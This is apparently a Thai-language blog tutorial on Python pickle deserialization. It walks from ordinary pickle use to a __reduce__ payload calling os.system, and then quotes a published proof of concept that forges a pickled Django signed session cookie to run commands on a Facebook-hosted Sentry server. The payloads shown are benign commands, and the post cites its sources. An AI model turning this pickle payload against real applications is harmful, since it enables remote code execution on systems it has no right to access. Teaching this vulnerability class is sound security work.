เรียนรู้ Python Deserialization
ก่อนหน้านี้เราพูดถึง Java และ Php Serialization มาแล้ว คราวนี้มาพูดถึง Python Serialization กันบ้าง
*** หากใครงสัยว่า serialization เป็นยังไง กลับไปอ่านที่ Php serializaion แทนละกันครับ
มาดูพฤติกรรมปกติกันก่อน ในที่นี้เราจะใช้ pickle ในการทำ serialization object กัน
1 2 3 4 5 6 7 8 |
import pickle import datetime my_data = {} my_data['last-modified'] = str(datetime.datetime.now()) my_data['friends'] = ["alice", "bob"] pickle_data = pickle.dumps(my_data) with open("backup.data", "wb") as file: file.write(pickle_data) |
ตัว app จะทำการสร้าง serialization จาก my_data แล้ว save ลง backup.data
ทีนี้ถ้าเราจะทำ deserialisation จะเขียนเป็น
1 2 3 4 5 |
import pickle with open("backup.data", "rb") as file: pickle_data = file.read() my_data = pickle.loads(pickle_data) print my_data |
ทีนี้มันมีประเด็นที่ว่า pickle นี่มันสามารถใช้สั่งรันคำสั่งได้ หากว่า serialization นั้นถูกสร้างจาก __reduce__(self) method
1 2 3 4 5 6 7 8 |
import pickle import os class EvilPickle(object): def __reduce__(self): return (os.system, ('echo Reduce', )) pickle_data = pickle.dumps(EvilPickle()) with open("backup2.data", "wb") as file: file.write(pickle_data) |
ดังนั้นการสร้าง object ที่ไม่มีการตรวจสอบอาจส่งผลให้เกิด RCE บนเครื่อง python application ได้ครับ
ตัวอย่าง Payload ที่ถูกใช้กับ Pickle ของ Facebook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
#!/usr/bin/python import django.core.signing, django.contrib.sessions.serializers from django.http import HttpResponse import cPickle import os SECRET_KEY='[RETRIEVEDKEY]' #Initial cookie I had on sentry when trying to reset a password cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw' newContent = django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies') class PickleRce(object): def __reduce__(self): return (os.system,("sleep 30",)) newContent['testcookie'] = PickleRce() print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True) |
Source::
- https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html
- https://blog.scrt.ch/2018/08/24/remote-code-execution-on-a-facebook-server/